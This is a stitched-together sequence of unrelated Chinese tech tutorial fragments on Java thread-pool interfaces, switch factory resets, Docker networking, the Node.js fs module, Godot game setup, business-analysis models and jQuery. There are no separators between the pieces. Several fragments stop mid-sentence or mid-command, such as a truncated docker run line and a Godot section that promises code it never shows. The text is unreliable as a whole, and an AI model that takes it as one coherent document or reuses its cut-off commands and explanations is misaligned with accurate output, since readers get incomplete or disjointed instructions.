ScheduledExecutorService接口继承了ExecutorService接口,提供了带"周期执行"功能ExecutorService;
ScheduledThreadPoolExecutor既继承了TheadPoolExecutor线程池,也实现了ScheduledExecutorService接口,是带"周期执行"功能的线程池;
Executors是线程池的静态工厂,其提供了快捷创建线程池的静态方法。
1、Executor接口
“执行者”接口,只提供了一个方法:
void execute(Runnable command); 可以用来执行已经提交的Runnable任务对象,这个接口提供了一种将“任务提交”与“任务执行”解耦的方法。
2、ExecutorService接口
“执行者服务”接口,可以说是真正的线程池接口,在Executor接口的基础上做了一些扩展,主要是
(A) 管理任务如何终止的 shutdown相关方法
/** * 启动一次有序的关闭,之前提交的任务执行,但不接受新任务 * 这个方法不会等待之前提交的任务执行完毕 */ void shutdown(); /** * 试图停止所有正在执行的任务,暂停处理正在等待的任务,返回一个等待执行的任务列表 * 这个方法不会等待正在执行的任务终止 */ List<Runnable> shutdownNow(); /** * 如果已经被shutdown,返回true */ boolean isShutdown(); /** * 如果所有任务都已经被终止,返回true * 是否为终止状态 */ boolean isTerminated(); /** * 在一个shutdown请求后,阻塞的等待所有任务执行完毕 * 或者到达超时时间,或者当前线程被中断 */ boolean awaitTermination(long timeout, TimeUnit unit) throws InterruptedException; (B) 可以生成用于追踪一个或多个异步任务执行结果的Future对象的 submit()相关方法
“哎呀!看错了,我把三层交换机的配置写到二层交换机了,其他的配置可都是好好的,不会又要让我重新来一遍吧!”小曼自从上次败北之后就开始研究起网络通信了,没想到做个仿真实验还得挺细心。
“你可以把配错的东西都undo掉,重新配!”
“可是这里有个地址池已经被我引用到其他地方了,这个trunk和access口也配反了,access这里删除得一层一层的删除,太麻烦了,薄荷,你有没有什么简洁快速得方法把交换机上得配置都给清空啊!”
“那就只能恢复出厂设置了!”
“我只知道手机能够恢复出厂设置,交换机还能恢复出厂设置啊?”
交换机恢复出厂设置的命令与步骤:
第一种方法:
1、reset命令:
如图:在用户视图重置交换机配置:reset saved-configuration/reset save 对初始化进行确认,是否进行初始化?选择Y回车
初始化后原来敲打的命令并不会立刻清除,必须对交换机进行重启,重启命令为reboot,需在视图模式下进行。
4、最后输入sy,进入系统视图,通过display current-configuration来查看配置
第二种方法:
1、在交换机上长按PNP键恢复出厂设置
如果我们做的是真机配置,可以通过长按交换机上PNP键,能够修改底层的配置文件,使设备恢复出厂配置,重新启动。
第三种方法:
reset 命令
在用户视图下通过reset factory-configuration命令来恢复出厂设置,输入Y确认清除电脑配置。
如果你喜欢这个文章还请帮薄荷点点赞~谢谢!你的支持就是我创作的动力呀!
Docker整理篇(Docker网络与数据卷) 安装与常用命令操作Docker网络与数据卷docker-compose与私服搭建 一:docker虚拟化与容器介绍 1.什么是虚拟化 如果要对物理资源进行管理,第一步,就是“虚拟化”。虚拟化是云计算的基础。简单来说,虚拟化就是
在一台物理服务器上,运行多台“虚拟服务器”。这种虚拟服务器,也叫虚拟机(VM,VirtualMachine)。
从表面来看,这些虚拟机都是独立的服务器,但实际上,它们共享物理服务器的CPU、内存、硬件、网卡等资源。通过模拟计算机的硬件,来实现在同一台计算机上同时运行不同的操作系统的技术。常用的vmwore、openstack、kvm都是使用的虚拟化技术
2.什么是容器 基于硬件级虚拟化技术的缺点和不足,后续又发展出来另一种虚拟化技术,即操作系统级别的虚拟化技术。操作系统级虚拟化是运行在操作系统之上的虚拟化技术,它模拟的是运行在一个操作系统上的多个
不同进程,并将其封闭在一个密闭的容器内,该技术也就被称之为容器化技术。
容器就是在隔离环境运行的一个进程,如果进程停止,容器就会销毁。隔离的环境拥有自己的系统文件,IP地址,主机名等。容器也是虚拟化,但是属于“轻量级”的虚拟化。它的目的和虚拟机一样,都是为了创造“隔离环境”。但是,它又和虚拟机有很大的不同——虚拟机是操作系统级别的资源隔离,而容器本质上是进程级的资源隔离。
3.容器和虚拟化的区别 容器是将代码和环境打包在一起的一个集合,而虚拟机是在物理层面上分离出来一个操作系统;多个容器可以运行在同一台硬件服务器上,并共享一个操作系统的内核资源。多个虚拟机也可以运行在同一台服务器上,但每个虚拟机都需要有一个完整的操作系统。
二:docker应用(容器与镜像操作) docker网络 docker安装后会自动创建3种网络:
bridgehostnone docker network ls 使用命令查看docker网络部分 docker info 网络模式 Docker网络 模式配置说明host模式-net=host容器和宿主机共享Network namespace。容器将不会虚拟出自己的网卡,配置自己的IP等,而是使用宿主机的IP和端口。container模式–net=container:NAME_or_ID容器和另外一个容器共享Network namespace。kubernetes中的pod就是多个容器共享一个Network namespace。创建的容器不会创建自己的网卡,配置自己的IP,而是和一个指定的容器共享IP、端口范围。none模式–net=none容器有独立的Network namespace,并没有对其进行任何网络设置,如分配veth pair 和网桥连接,配置IP等。该模式关闭了容器的网络功能。bridge模式–net=bridge(默认为该模式)。此模式会为每一个容器分配、设置IP等,并将容器连接到一个docker0虚拟网桥,通过docker0网桥以及Iptables nat表配置与宿主机通信。Macvlan network无容器具备Mac地址,使其显示为网络上的物理设备Overlay无(覆盖网络): 利用VXLAN实现的bridge模式 容器网络测试 拉取镜像 docker pull nginx:1.19.3-alpine 备份镜像 docker save nginx:1.19.3-alpine -o nginx.1.19.3.alpine.tar 导入镜像 docker load -i nginx.1.19.3.alpine.tar bridge网络 bridge网络表现形式就是docker0这个网络接口。容器默认都是通过docker0这个接口进行通信。也可以通过docker0去和本机的以太网接口连接,这样容器内部才能访问互联网。
查看docker0网络,在默认环境中,一个名为docker0的linux bridge自动被创建好了,其上有一个 docker0 内部接口,IP地址为172.17.0.1/16 ip a 查看docker 网络 docker network ls 查看bridge网络详情。主要关注Containers节点信息。 docker network inspect bridge 运行镜像 docker run -itd --name nginx1 nginx:1.
JavaScript文件系统模块(fs) 用于文件的操作
文件分为目录形式和文件形式
例如:写一个功能要求把数据库的数据导出来
再者:老板说我现在有50w条数据,要把这50w条数据写入数据库
实践:创建文件夹(mian)添加fs.js其中fs.js写入下面的代码,运行查看结果
//引入文件系统模块(fs) const fs = require('fs'); //查看文件的状态:目录形式,文件大小 var a = fs.statSync('../mian'); console.log(a); //是否为目录 console.log(a.isDirectory()); //是否为文件 console.log(a.isFile()); console.log('结束') 结果输出:
Stats { dev: 2398116999, mode: 16822, nlink: 1, uid: 0, gid: 0, rdev: 0, blksize: 4096, ino: 48695170971412340, size: 0, blocks: 0, atimeMs: 1647851205076.4263, mtimeMs: 1647848982028.7576, ctimeMs: 1647849940786.5442, birthtimeMs: 1647827395395.808, atime: 2022-03-21T08:26:45.076Z, mtime: 2022-03-21T07:49:42.029Z, ctime: 2022-03-21T08:05:40.787Z, birthtime: 2022-03-21T01:49:55.396Z } true false 结束 翻译:
使用这个模块必须引入模块
1,查看文件的状态
statSync(文件的路径)/stat(文件路径,回调函数)
Godot—2D游戏设计笔记(兼MarkDown测试) 文章目录 Godot—2D游戏设计笔记(兼MarkDown测试)一、第一次游戏设计时遇到的问题1.关于针对一张图的学习2.Godot的命名方法
二、官网游戏制作1.制作目标:
(1)设置项目(2)创建玩家场景 (3)编写玩家代码 一、第一次游戏设计时遇到的问题 1.关于针对一张图的学习 在制作过程,未能找到图中的确保对象的子项不可选择,在进行一番大海捞针后,终于在场景 下的模式工具 里找到了这个选项,这里有两个按键:
1.将所选对象锁定到该位置: 锁定节点及其子节点同时无法选中且不能移动
2.确保对象的子项不可选择: 只锁定该节点的子节点,节点本身可以编辑
以及各种鼠标模式(略)
很实用的工具—吸附模式:
吸附模式: 自动吸附对齐
网格吸附: 开启后可以看到一些网格,更好的用于对齐
2.Godot的命名方法
一般来说Godot中形成的江湖规矩是这样的:
节点(类): 大驼峰命名法
变量函数: 蛇形命名法
常量: 全大写法(ALL_CAPS)
二、官网游戏制作 1.制作目标:
制作一个可以操控的角色,并且可以控制角色躲避NPC敌人,如果碰到NPC敌人就会Game over,再次点击屏幕重新开始。 (1)设置项目 新建项目
一般在开始制作一款游戏,就一定要对游戏的类型和玩法进行确定,否则中途去修改游戏的玩法是非常困难的,最后前功尽弃。
游戏制作在手机端,所以需要调整游戏窗口大小
我们在点击项目 -> 项目设置打开项目设置窗口,然后在左栏中打开 Display -> Window(显示 -> 窗口)选项卡,将“Width”设置为 480,并将“Height”设置为 720。
另外,滚动到该小节的底部,在“Stretch”(拉伸)选项中,将 Mode 设置为“2d”、Aspect 设置为“keep”。这样就可以保证在不同大小的屏幕上,游戏都能够进行一致的比例缩放。
(2)创建玩家场景 构建节点
在构建了一个Area2D节点后命名为Player,然后将其子节点锁定
ctrl+s保存场景。
精灵动画
在player节点里添加一个AnimatedSprite节点,在属性面板找到Frames属性,然后新建SpriteFrames,打开动画帧面板:
点击新建动画按钮,添加 up 和 walk 动画,将素材拖入动画帧。
通过AnimatedSprite节点中的scale设置图标大小比例为(0.5,0.5)。
在Player节点下新建CollisionShape2D节点,用来确定玩家碰撞面积。
新建CapsuleShape2D椭圆型碰撞体积,调整句柄到适当大小。
(3)编写玩家代码 创建新代码
选择Player节点点击
插入如下代码,创建新变量,用来定义初始速度和窗口大小
工欲善其事必先利其器,商业分析是项目管理中非常重要的一环,利用工具又能使分析更加的高效和准确,优秀的项目经理们怎么能不知道呢?
所以,我们就请专业的老师给大家全部整理了出来,并用通俗的语言附带讲解,内容较多我们分上中下 3 篇发布,今天是讲范围、过程、规则、数据、接口等 5 类分析模型中的工具,内容较干,记得先收藏~
一范围模型 范围模型用于结构化的表示组织的目的、目标、特性、功能和正在分析商业域的边界。在具体的实践中,有多种不同的范围模型。今天我们首先要学习的是目的模型和商业目标模型。
▍a.目的模型和商业目标模型:
这两种模型都反映了与产品信息有关的目的以及商业目标,以可视化的方式来支持特性优先级决策,体现了产品范围管理的价值,以及在项目组合中对项目集和项目进行排序。
目的模型通常显示的是解决方案的干系人目的,并且指出了这些不同目的之间的关系。
商业目标模型与商业问题、商业目标和顶层特性有关,它将高层级的商业策略分解为较低层级的问题和商业目标,用可视化的方式表示项目组合项目集或者项目的价值以及解决方案将如何实现组织的商业目标。
目的模型和商业目标模型通常在规划阶段建立,也可在项目期间的任何时间创建,有助于尽可能快地创建模型,用来论证预算以及向高管准确的呈现他们从项目所获取到的收益。
它们提供了明确商业需求的结构,当商业目标映射到需求时,具体需求的特定价值就更容易被干系人理解,范围控制也变得更加容易;并且需求或功能的价值也可以通过这些模型来被量化,有助于确定最重要的功能来实现最小可售功能。
▍b.生态系统图:
显示了所有相关的系统,系统之间的关系,以及流经它们的可选的任何数据对象,这些系统其实是从商业角度来描绘的逻辑系统,而不是从实施角度来描绘的实际物理结构图。
生态系统图一般也用在项目初期创建,有利于理解所有的系统间的相互关联和影响关系,帮助识别项目集、项目之间的潜在依赖性;它还有助于发现直接与解决方案连接的系统,发现解决方案上下游系统在哪些地方可能存在接口需求或数据需求。
▍c.系统交互图:
显示了解决方案中的所有直接系统和人机界面,清晰地描述了范围内的系统和所有的输入或输出,包括提供输入和接收输出的外部系统或参与者。
系统交互图通常应尽早创建,它总结了产品范围和用来确定需求的相关信息,用以识别和明确接口需求和数据需求。系统交互图有时候被称为“0级数据流图”,它可以用于引导后续创建其他接口模型,也可以模拟现在和未来的状态以帮助进行差距分析。
▍d. 功能模型/特性模型:
用树状或层级结构排列,以可视化的方式表示解决方案的所有特性,在这样的层级结构里,顶层特性是第 1 级(L1)特性,其次是第 2 级(L2)特性,等等。特性模型有助于说明特性是如何组合在一起的,以及哪个特性是其他特性的子特性。
特性模型通常在项目初期开始创建,以显示项目集或项目范围内的所有特性,并且在启发和分析过程中识别附加特性时进行更新。在适应型项目中,特性可以在不同的迭代中加以标记以便于发布计划。
特性模型可与头脑风暴法结合使用,类似于亲和图,以帮助干系人通过关注分组来识别特性。这种模型通常不显示需求,而显示需求集;可以帮助确定如何为商业分析工作组织需求,或者如何展现需求;在功能模型里的功能也可用来跟踪需求,以确保没有遗漏的功能或需求。
▍e. 用例图:
显示了解决方案范围内的所有用例。用例是用文本叙述的手法来描述系统—用户的交互以成功完成目的的过程模型。
创建用例图包括识别解决方案的使用者和每个使用者将如何使用解决方案的可能场景清单。把用户和相关用例相关联,显示了用户和用例之间需要创建的接口,并且确定哪些用例在给定解决方案的范围内,哪些在范围外,这有助于管理干系人的期望。
同时,它也可以帮助项目团队在建立解决方案时规划和跟踪过程,概括功能的范围以及功能和参与者之间的关系,有助于为商业分析工作组织需求或展现需求。
▍f. 事件清单:
描述了触发解决方案行为的任何外部事件。事件清单帮助定义解决方案必须做出反应或处理的范围内事件,从而确保定义工作范围,并且随着工作的持续开展和新事件的识别而更新。
事件响应表是事件清单的延伸,用于描述系统对任何事件触发器的响应。事件响应表有助于识别(过程模型)用例、用户故事或系统流。
▍g. 组织结构图:
展示了组织内部或部分组织内部的报告结构,描述了整个组织的部门、部门角色或报告结构中的个人。
我们在进行干系人识别和分析时,可能也会用到组织结构图,在对需求分析期间使用的组织结构目的与之不同,主要是确定使用解决方案或受解决方案影响的人员,而这些人员不一定是那些与项目组合、项目集或项目紧密合作的人员,除此之外,我们还需要帮助识别有安全性和权限需求的用户或用户组。
组织结构图需要在早期被创建,并保持持续更新,以确保任何干系人或干系人群组的识别不会被遗漏。
这些就是常见的范围模型,范围模型通常在项目或者商业分析的早期被创建。
二
过程模型
描述商业过程及干系人与其交互方式的模型。
▍a.过程流:
用于以可视化的方式,记录人们在工作中或与解决方案交互时,所执行的步骤或任务。过程流又名泳道图、过程地图、过程图或过程流图。
过程流可以分成多个层级,其中 1 级(L1)过程流可用 7~10 个步骤在高层级上显示完整的端到端过程;L1 过程流中的步骤被分解为用户将要执行的下一级过程,用 2 级(L2)过程流来表示。
过程流根据包含信息的不同,有几种变体:
系统流用于描述系统步骤;价值流图显示过程中发生的任何延迟、排队或切换,目的是识别过程中花费的非增值时间以简化过程;活动图用来对一般工作流的建模,以可视化的方式显示用例的复杂流;活动图通常在一个图中显示用户与系统的交互,并且体现了用例的文本描述;序列图用于描述用户或系统过程如何在任何涉及的用户或系统中相互作用,以及对执行的过程或步骤进行顺序。序列图对于与技术团队沟通系统间的信息流动、将功能委派到它将要执行的地方,以及步骤间的控制流都是非常有用的。在通过显示信息的流向来确定需要哪些商业对象时,序列图尤其有用。 总结起来说,过程流在商业分析活动中,经常会被使用到。在需求启发阶段,促进与干系人的沟通;分析过程中,跟踪需求的各个步骤,识别丢失的功能或需求;还可以展示原有和将来的商业过程;对比讨论新/旧解决方案的过程,识别变化和差距;显示对当前解决方案所做的变更或改进;扩展/附加每个步骤的详细信息,以确保干系人能够理解情况;还可以用于显示关键绩效指标(KPI),包括基准或目标指标。
它可以在项目开始前创建,也可以在项目开始后创建,并且随着产品信息被逐步明细而继续创建。
▍b.用例:
是用文本叙述的手法,来描述系统和用户的交互,以成功完成其目的。用例的核心在于用户与系统间的复杂互动,在对需求的启发中可用于发现和描述这些复杂的交互。用例主要应描述和记录系统或运营的功能性特征,不用来记录系统的非功能性特征。
用例的目的是代表主要参与者在用例中试图完成的任务。每个用例都包含一个正常流(系统和用户之间最常见的交互场景),以及当场景偏离正常流时的替代流和异常流。用例常用于识别和明细需求,尤其是在将商业需求转移到干系人需求或解决方案需求时。
用例通常在过程流之后被创建,为过程流中的具体步骤提供更多详细信息;有时也被用来代替过程流并用于识别功能性或非功能性需求或验收标准;也可以用作展示解决方案需求的方式。
▍c. 用户故事:
是一种从用户的角度记录干系人需求的方法,重点是关注用户在完成故事后获得的价值或效益。用户故事的构成有三要素“我作为<参与者>,我希望能够拥有<功能>,这样我就可以满足需要的<商业原因>”。每一个用户故事也应该匹配相应的验收标准,“在指定的<前提条件>下,当<事件>发生时,会产生<预期结果>”。
用户故事有助于把商业需求和解决方案需求连接起来,用于将需求或验收标准,映射到反映整体商业用户任务的过程模型上。在适应型方法中,用户故事通常是表达需求的方法。一个用户故事可能包含许多需求,它是需求的功能组合;故事可以直接追溯到商业目标以证实需求的价值;用户故事也能够追溯到其他模型的元素;可用来在每个版本和迭代过程中管理、优化、追踪和分配功能。
相关视频链接:黑马程序员web前端基础教程_4天从零玩转jQuery_哔哩哔哩_bilibili
## 为什么要学jQuery 使用javascript开发过程中,有许多的缺点:
1. 查找元素的方法单一,麻烦。
2. 遍历数组很麻烦,通常要嵌套一大堆的for循环。
3. 有兼容性问题。
4. 想要实现简单的动画效果,也很麻烦
5. 代码冗余。
## 体验jquery的使用 * 1. 查找元素的方法多种多样,非常灵活
* 2. 拥有隐式迭代特性,因此不再需要手写for循环了。
* 3. 完全没有兼容性问题。
* 4. 实现动画非常简单,而且功能更加的强大。
* 5. 代码简单、粗暴。
$(document).ready(function () { $("#btn1").click(function () { $("div").show(200); }); $("#btn2").click(function () { $("div").text("我是内容"); }); }); ## jquery到底是什么 > jQuery的官网 [http://jquery.com/](http://jquery.com/) > jQuery就是一个js库,使用jQuery的话,会比使用JavaScript更简单。
**What is jQuery?**
```text
jQuery is a fast, small, and feature-rich JavaScript library.
It makes things like HTML document traversal and manipulation,